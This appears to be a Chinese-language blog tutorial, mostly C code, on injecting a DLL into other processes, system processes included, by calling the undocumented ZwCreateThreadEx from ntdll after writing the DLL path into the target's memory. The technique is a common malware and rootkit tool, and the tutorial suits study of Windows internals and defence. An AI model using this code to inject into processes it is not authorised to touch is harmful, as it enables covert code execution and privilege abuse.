使用 ZwCreateThreadEx 函数强力注入 Dll

常用的线程注入方法有:远程线程注入、全局消息钩子注入、应用层 APC 注入ZwCreateThreadEx 强力注入等。

今天我们讲一下ZwCreateThreadEx 强力注入的这种方法。之前的远程线程通过 CreateRemoteThread 函数来进行 Dll 注入,这种方式可以注入普通的进程,但是却无法注入到系统进程中,因为系统进程是处在 SESSION0 高权限级别的会话层。

由于 CreateRemoteThread 底层实际上会调用 ZwCreateThreadEx 这个未公开的内核函数,该内核函数在 ntdll.dll 中,所以我们必须通过 GetProcAddress 函数将其地址导出。

step 1

和远程线程注入的前面步骤类似,要想跨进程调用 LoadLibaray 函数,首先我们必须把需要加载的 Dll 路径写入到目标进程地址空间,然后获取 LoadLibrary 函数在目标进程空间的地址:

HANDLE hProcess = NULL;
PSTR fileName = NULL;
FARPROC pfnThreadRtn = NULL;
HANDLE hRemoteThread = NULL;

// 打开注入进程,获取进程句柄
hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, Pid);
if (NULL == hProcess)
{
    printf("打开进程失败\r\n");
    return FALSE;
}

// 计算将注入 Dll 文件的完整路径长度
SIZE_T fileNameLen = strlen(DllName) + 1;

// 在目标空间申请一块长度为 fileNameLen 大小的内存空间
fileName = (PSTR)VirtualAllocEx(hProcess, NULL, fileNameLen, MEM_COMMIT, PAGE_READWRITE);
if (NULL == fileName)
{
    CloseHandle(hProcess);
    printf("在目标空间申请内存空间失败\r\n");
    return FALSE;
}

// 将 Dll 文件的完整路径写入目标进程申请的空间内
if (FALSE == WriteProcessMemory(hProcess, fileName, (PVOID)DllName, fileNameLen, NULL))
{
    VirtualFreeEx(hProcess, fileName, 0, MEM_RELEASE);
    CloseHandle(hProcess);
    printf("将完整路径写入目标进程空间失败\r\n");
    return FALSE;
}

// 在我们进程空间内获得 LoadLibrary 函数的地址
pfnThreadRtn = GetProcAddress(GetModuleHandle(L"Kernel32"), "LoadLibraryA");
if (NULL == pfnThreadRtn)
{
    VirtualFreeEx(hProcess, fileName, 0, MEM_RELEASE);
    CloseHandle(hProcess);
    printf("获取 LoadLibrary 函数地址失败\r\n");
    return FALSE;
}

step 2

然后,由于 ZwCreateThreadEx 函数在 ntdll.dll 中是未导出的,因此我们需要把该模块加载进去,然后再获取函数地址:

// 加载 ntdll.dll
HMODULE hNtModule = LoadLibraryA("ntdll.dll");
if (NULL == hNtModule)
{
    VirtualFreeEx(hProcess, fileName, 0, MEM_RELEASE);
    CloseHandle(hProcess);
    printf("加载 hNtModule 模块失败\r\n");
    return FALSE;
}

step 3

获取函数地址之前,我们需要定义一个函数指针用来接收函数地址。由于该函数在 32 位和 64 位系统下的定义是不一样的,所以我们定义函数指针也要对应才可以,然后通过 GetProcAddress 获取函数地址:

	// 定义一个函数指针,并从 ntdll.dll 中获取 ZwCreateThread 函数地址
#ifdef _WIN64
	typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
		PHANDLE ThreadHandle,
		ACCESS_MASK DesiredAccess,
		LPVOID ObjectAttributes,
		HANDLE ProcessHandle,
		LPTHREAD_START_ROUTINE lpStartAddress,
		LPVOID lpParameter,
		ULONG CreateThreadFlags,
		SIZE_T ZeroBits,
		SIZE_T StackSize,
		SIZE_T MaximumStackSize,
		LPVOID pUnkown);
#else
	typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
		PHANDLE ThreadHandle,
		ACCESS_MASK DesiredAccess,
		LPVOID ObjectAttributes,
		HANDLE ProcessHandle,
		LPTHREAD_START_ROUTINE lpStartAddress,
		LPVOID lpParameter,
		BOOL CreateSuspended,
		DWORD dwStackSize,
		DWORD dw1,
		DWORD dw2,
		LPVOID pUnkown);
#endif
	typedef_ZwCreateThreadEx ZwCreateThreadEx = 
		(typedef_ZwCreateThreadEx)GetProcAddress(hNtModule, "ZwCreateThreadEx");

step 4

准备工作完毕后,就可以进行注入了:

// 使用 ZwCreateThreadEx 创建远程线程,实现强力注入 Dll 文件
int status = ZwCreateThreadEx(&hRemoteThread, PROCESS_ALL_ACCESS, NULL, hProcess,
    (LPTHREAD_START_ROUTINE)pfnThreadRtn, fileName, 0, 0, 0, 0, NULL);
if (NULL == hRemoteThread)
{
    CloseHandle(hNtModule);
    VirtualFreeEx(hProcess, fileName, 0, MEM_RELEASE);
    CloseHandle(hProcess);
    printf("使用 ZwCreateThreadEx 函数注入 Dll 失败\r\n");
    return FALSE;
}

step 5

最后,我们来调用注入函数:

int main()
{
	if (ZwCreateThreadInjectDll(1068, 
        "C:\\Users\\Administrator\\Desktop\\console_Dll.dll"))
	{
		printf("注入成功\r\n");
	}
	system("pause");

	return 0;
}

效果如下:

posted @ 2024-09-03 15:25  lostin9772  阅读(209)  评论(0)    收藏  举报